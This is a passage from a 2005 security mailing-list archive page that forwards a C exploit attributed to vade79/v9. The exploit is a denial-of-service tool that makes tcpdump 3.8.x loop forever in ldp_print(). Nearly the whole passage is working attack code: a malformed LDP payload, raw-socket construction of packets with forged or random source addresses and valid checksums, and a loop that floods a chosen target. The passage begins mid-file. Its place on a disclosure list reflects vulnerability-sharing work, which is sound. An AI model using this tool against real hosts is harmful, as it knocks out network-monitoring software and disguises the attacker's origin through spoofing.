struct iph{
#ifdef _USE_BIG_ENDIAN
unsigned char version:4,ihl:4;
#else
unsigned char ihl:4,version:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
};
struct udph{
unsigned short source;
unsigned short dest;
unsigned short len;
unsigned short check;
};
struct sumh{
unsigned int saddr;
unsigned int daddr;
unsigned char fill;
unsigned char protocol;
unsigned short len;
};

/* malformed LDP data. (the bug) */
static char payload[]=
"\x00\x01\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\x00\x00\xff\xff\xff\xff";

/* prototypes. (and sig_alarm) */
void ldp_nospoof(unsigned int);
void ldp_spoof(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void printe(char *,signed char);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* begin. */
int main(int argc,char **argv) {
unsigned char nospoof=0;
unsigned int amt=DFL_AMOUNT;
unsigned int daddr=0,saddr=0;
printf("[*] tcpdump[3.8.x]: (LDP) ldp_print() infinite loop DOS."
"\n[*] by: vade79/v9 v9 AT fakehalo.us (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
argv[0]);
printf("[*] syntax: %s <dst host> nospoof\n",argv[0]);
exit(1);
}
if(!(daddr=getip(argv[1])))
printe("invalid destination host/ip.",1);
if(argc>2){
if(strstr(argv[2],"nospoof"))nospoof=1;
else saddr=getip(argv[2]);
}
if(argc>3)amt=atoi(argv[3]);
if(!amt)printe("no packets?",1);
printf("[*] destination\t: %s\n",argv[1]);
if(!nospoof)
printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
printf("[*] amount\t: %u\n\n",amt);
printf("[+] sending(packet = .): ");
fflush(stdout);
while(amt--){
/* spice things up. */
srandom(time(0)+amt);
if(nospoof)ldp_nospoof(daddr);
else ldp_spoof(daddr,saddr);
printf(".");
fflush(stdout);
usleep(50000);
}
printf("\n\n[*] done.\n");
fflush(stdout);
exit(0);
}
/* (non-spoofed) sends a (LDP) udp packet. */
void ldp_nospoof(unsigned int daddr){
signed int sock;
struct sockaddr_in sa;
sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sa.sin_family=AF_INET;
sa.sin_port=htons(LDP_PORT);
sa.sin_addr.s_addr=daddr;
if(sendto(sock,payload,sizeof(payload)-1,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<sizeof(payload)-1)
printe("failed to send non-spoofed LDP packet.",1);
close(sock);
return;
}
/* (spoofed) generates and sends a (LDP) udp packet. */
void ldp_spoof(unsigned int daddr,unsigned int saddr){
signed int sock=0,on=1;
unsigned int psize=0;
char *p,*s;
struct sockaddr_in sa;
struct iph ip;
struct udph udp;
struct sumh sum;
/* create raw (UDP) socket. */
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_UDP))<0)
printe("could not allocate raw socket.",1);
/* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
printe("could not set IP_HDRINCL socket option.",1);
#endif
sa.sin_family=AF_INET;
sa.sin_port=htons(LDP_PORT);
sa.sin_addr.s_addr=daddr;
psize=(sizeof(struct iph)+sizeof(struct udph)+sizeof(payload)-1);
memset(&ip,0,sizeof(struct iph));
memset(&udp,0,sizeof(struct udph));
/* values not filled = 0, from the memset() above. */
ip.ihl=5;
ip.version=4;
ip.tot_len=htons(psize);
ip.saddr=(saddr?saddr:random()%0xffffffff);
ip.daddr=daddr;
ip.ttl=(64*(random()%2+1));
ip.protocol=IPPROTO_UDP;
ip.frag_off=64;
udp.source=htons(random()%60000+1025);
udp.dest=htons(LDP_PORT);
udp.len=htons(sizeof(struct udph)+sizeof(payload)-1);
/* needed for (correct) checksums. */
sum.saddr=ip.saddr;
sum.daddr=ip.daddr;
sum.fill=0;
sum.protocol=ip.protocol;
sum.len=htons(sizeof(struct udph)+sizeof(payload)-1);
/* make sum/calc buffer for the udp checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct sumh)+sizeof(struct udph)
+sizeof(payload)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct sumh)+sizeof(struct udph)
+sizeof(payload)+1));
memcpy(s,&sum,sizeof(struct sumh));
memcpy(s+sizeof(struct sumh),&udp,sizeof(struct udph));
memcpy(s+sizeof(struct sumh)+sizeof(struct udph),
payload,sizeof(payload)-1);
udp.check=in_cksum((unsigned short *)s,
sizeof(struct sumh)+sizeof(struct udph)+sizeof(payload)-1);
free(s);
/* make sum/calc buffer for the ip checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct iph)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct iph)+1));
memcpy(s,&ip,sizeof(struct iph));
ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
free(s);
/* put the packet together. */
if(!(p=(char *)malloc(psize+1)))
printe("malloc() failed.",1);
memset(p,0,psize);
memcpy(p,&ip,sizeof(struct iph));
memcpy(p+sizeof(struct iph),&udp,sizeof(struct udph));
memcpy(p+(sizeof(struct iph)+sizeof(struct udph)),
payload,sizeof(payload));
/* send the malformed LDP packet. */
if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<psize)
printe("failed to send forged LDP packet.",1);
free(p);
return;
}
/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
unsigned short answer=0;
register unsigned short *w=addr;
register int nleft=len,sum=0;
while(nleft>1){
sum+=*w++;
nleft-=2;
}
if(nleft==1){
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
struct hostent *t;
unsigned int s=0;
if((s=inet_addr(host))){
if((t=gethostbyname(host)))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
}
if(s==-1)s=0;
return(s);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
printf("[!] %s\n",err);
if(e)exit(e);
return;
}



--- End Message ---

Attachment: signature.asc
Description: OpenPGP digital signature



  • [SM-Security] [Fwd: tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop DOS.], Thomas Houssin, 04/26/2005

Archive powered by MHonArc 2.6.24.

Top of Page